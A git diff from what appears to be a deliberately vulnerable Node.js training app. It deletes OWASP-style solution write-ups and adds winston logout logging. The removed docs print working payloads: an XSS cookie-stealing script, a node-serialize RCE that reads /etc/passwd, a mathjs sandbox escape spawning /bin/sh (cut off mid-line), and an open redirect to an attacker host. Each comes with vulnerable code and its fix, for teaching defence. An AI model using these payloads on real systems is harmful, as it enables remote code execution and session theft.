--
\ No newline at end of file
diff --git a/docs/solution/a7-xss.md b/docs/solution/a7-xss.md
deleted file mode 100644
index 0f48270ef..000000000
--- a/docs/solution/a7-xss.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# Cross-site Scripting
-
-
-with input *Inconspicuous Pizza<script>alert('Cookie:'+document.cookie)</script>*
-
-## Reflected XSS in Search Query
-
-**Note: Chrome XSS Auditor may block XSS Attacks**
-
-A Cross-site scripting vulnerability exists in the following URL
-
-http://127.0.0.1:9090/app/products
-
-**Vulnerable Code snippet**
-
-*/views/app/products.ejs*
-```
-...
-<% if (output&&output.searchTerm) { %>
-
- Listing products with search query:
- <%- output.searchTerm %>
-...
-```
-
-User supplied input is directly rendered as part of HTML response. This issue can be exploited to inject arbitrary scripting code to perform a Cross-site Scripting attack.
-
-**Solution**
-
-Ensure user supplied or any other untrusted data is not rendered as part of HTTP response without appropriate encoding. EJS escape output tag can be used to render this securely with appropriate encoding such as below
-
-```
-<%= output.searchTerm %>
-```
-Notice the `=` symbol instead of `-`, which escapes the output. Note that this only prevents xss when the target for escaped output is in a html context.
-
-**Fixes**
-
-Implemented in the following files
-
-- *server.js*
-- *views/app/products.ejs*
-
-## Stored XSS in Product Listing
-
-Another XSS vulnerability exists in the same page, however at a different location
-
-**Vulnerable Code snippet**
-
-*/views/app/products.ejs*
-```
-...
-
<%- output.products[i].id %> |
-<%- output.products[i].name %> |
-<%- output.products[i].code %> |
-<%- output.products[i].tags %> |
-...
-```
-
-**Solution**
-
-Enable output string encoding
-```
-...
-<%= output.products[i].id %> |
-<%= output.products[i].name %> |
-<%= output.products[i].code %> |
-<%= output.products[i].tags %> |
-...
-```
-Notice the `=` symbol instead of `-`, which escapes the output. Note that this only prevents xss when the target for escaped output is in a html context.
-
-**Fixes**
-
-Implemented in the following files
-
-- *server.js*
-- *views/app/products.ejs*
-
-**Recommendation**
-
-- Use Security header `X-XSS-Protection` to prevent reflected XSS attacks
-- Limit raw rendering to internal trusted data only. Do not disable output encoding for untrusted data coming from external sources
-- Always validate user input and escape them wherever necessary
-- Use cookies securely `httpOnly`, `secure` are enabled in `express-cookies`. Refer to [this](https://expressjs.com/en/advanced/best-practice-security.html)
-- Use a Content Security policy for your application using a library like [helmet](https://www.npmjs.com/package/helmet)
-
-**Reference**
-
--
--
--
diff --git a/docs/solution/a8-insecure-deserialization.md b/docs/solution/a8-insecure-deserialization.md
deleted file mode 100644
index 4782e6bd5..000000000
--- a/docs/solution/a8-insecure-deserialization.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# Insecure Deserialization
-
-The `Legacy Bulk Import` feature at http://127.0.0.1:9090/app/bulkproducts?legacy=true does not securely deserialize the data thus allowing remote code execution.
-
-
-
-The following input will trigger the vulnerability
-
-```
-{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) });}()"}
-```
-
-
-
-**Vulnerable Code snippet**
-
-*core/appHandler.js*
-```
-...
-module.exports.bulkProductsLegacy = function (req,res){
- // TODO: Deprecate this soon
- if(req.files.products){
- var products = serialize.unserialize(req.files.products.data.toString('utf8'))
-...
-```
-
-**Solution**
-
-Since the required feature is to essentially parse a JSON, it can be parsed securely using `JSON.parse` instead.
-
-*core/appHandler.js*
-```
-...
-module.exports.bulkProductsLegacy = function (req,res){
- // TODO: Deprecate this soon
- if(req.files.products){
- var products = JSON.parse(req.files.products.data.toString('utf8'))
-...
-```
-
-**Fixes**
-
-Implemented in the following files
-
-- *core/appHandler.js*
-
-**Recommendation**
-
-- Use secure and recommended ways to implement application features
-- Ensure that potentially vulnerable legacy features are't accessible
-
-**Reference**
-
--
--
\ No newline at end of file
diff --git a/docs/solution/a9-using-components-with-known-vulnerability.md b/docs/solution/a9-using-components-with-known-vulnerability.md
deleted file mode 100644
index 6745ef1a1..000000000
--- a/docs/solution/a9-using-components-with-known-vulnerability.md
+++ /dev/null
@@ -1,50 +0,0 @@
-# Using Components with Known Vulnerabilities
-
-## mathjs Remote Code Execution
-
-The version of mathjs(https://www.npmjs.com/package/mathjs) library used in the application has a remote code execution vulnerability that allows an attacker to run arbitrary code on the server.
-
-To understand how the exploit works, look at [this](https://capacitorset.github.io/mathjs/)
-
-The calculator implementation uses `mathjs.eval` to evaluate user input at
-
-http://127.0.0.1:9090/app/calc
-
-There is no input validation either, probably because it is going to be a maths equation which will contain symbols
-
-Malicious input that triggers command execution
-```
-cos.constructor("spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c
--
diff --git a/docs/solution/ax-csrf.md b/docs/solution/ax-csrf.md
deleted file mode 100644
index cccb521c2..000000000
--- a/docs/solution/ax-csrf.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# Cross-site Request Forgery
-
-## CSRF in Add/Edit product, User Edit
-
-The application is vulnerable to a Cross-sites-Request-Forgery in `Product Management` feature. The application fails to implement anti-CSRF token to prevent forced browsing.
-
-http://127.0.0.1:9090/app/modifyproduct
-
-http://127.0.0.1:9090/app/useredit
-
-This issue can be exploited by an attacker by hosting a malicious page like the one below and tricking the victim onto visiting it. The below example will add a new product on behalf of the victim on visiting a crafted URL like `http://youtube.com.xyz.nxd/watch/v=cute-kitten` by the attacker
-
-*Attacker's Webpage*
-```html
-
-
-
-
-
-```
-
-**Solution**
-
-CSRF vulnerabilities can be fixed by ensuring anti-CSRF tokens are needed for successful form submission.
-
-This can be done by using a module like [csurf](https://www.npmjs.com/package/csurf), and can save time needed to correctly implement your own logic.
-
-**Fixes**
-
-Implemented in the following files
-
-- *routes/app.js*
-- *core/appHandler.js*
-- *views/app/modifyproducts.ejs*
-- *views/app/useredit.ejs*
-
-**Reference**
-
-- https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
-- https://github.com/expressjs/csurf
\ No newline at end of file
diff --git a/docs/solution/ax-unvalidated-redirects-and-forwards.md b/docs/solution/ax-unvalidated-redirects-and-forwards.md
deleted file mode 100644
index f0eacff21..000000000
--- a/docs/solution/ax-unvalidated-redirects-and-forwards.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# Unvalidated Redirects and Forwards
-
-The application fails to perform any validation before redirecting user to external URL based on untrusted user supplied data in the `redirect` function accessible at
-
-http://127.0.0.1:9090/app/redirect?url=
-
-**Vulnerable Code snippet**
-
-*/core/apphandler.js*
-```
-...
-module.exports.redirect = function(req,res){
- if(req.query.url){
- res.redirect(req.query.url)
- }else{
- res.send('invalid redirect url')
- }
-}
-...
-```
-
-An attacker can exploit this vulnerability using an URL such as below:
-
-```
-http://127.0.0.1:9090/redirect.action?url=http://www.attacker.nxd/phising_page
-```
-
-**Solution**
-
-Use an interceptor page which requires user approval before external redirection
-
-**Fixes**
-
-Implemented in the following files
-
-- *views/app/redirect.ejs*
-- *core/appHandler.js*
-
-**Reference**
-- https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
\ No newline at end of file
diff --git a/routes/main.js b/routes/main.js
index b56db4040..3facf712b 100644
--- a/routes/main.js
+++ b/routes/main.js
@@ -1,6 +1,7 @@
var router = require('express').Router()
var vulnDict = require('../config/vulns')
var authHandler = require('../core/authHandler')
+var winston = require('winston')
module.exports = function (passport) {
router.get('/', authHandler.isAuthenticated, function (req, res) {
@@ -38,6 +39,10 @@ module.exports = function (passport) {
})
router.get('/logout', function (req, res) {
+ if(req.user){
+ let username = req.user.login
+ winston.log({level:'info',message:'Logout', username})
+ }
req.logout();
res.redirect('/');
})
diff --git a/server.js b/server.js
index 18c0e18db..d3257be25 100644
--- a/server.js
+++ b/server.js
@@ -6,6 +6,7 @@ var ejs = require('ejs')
var morgan = require('morgan')
const fileUpload = require('express-fileupload');
var config = require('./config/server')
+var winston = require('winston')
//Initialize Express
var app = express()
@@ -16,6 +17,15 @@ app.use(morgan('tiny'))
app.use(bodyParser.urlencoded({ extended: false }))
app.use(fileUpload());
+// Configure winston logger
+winston.configure({
+ level:'info',
+ format: winston.format.json(),
+ transports: [
+ new winston.transports.File({ filename: 'combined.log' })
+ ]
+});
+
// Enable for Reverse proxy support
// app.set('trust proxy', 1)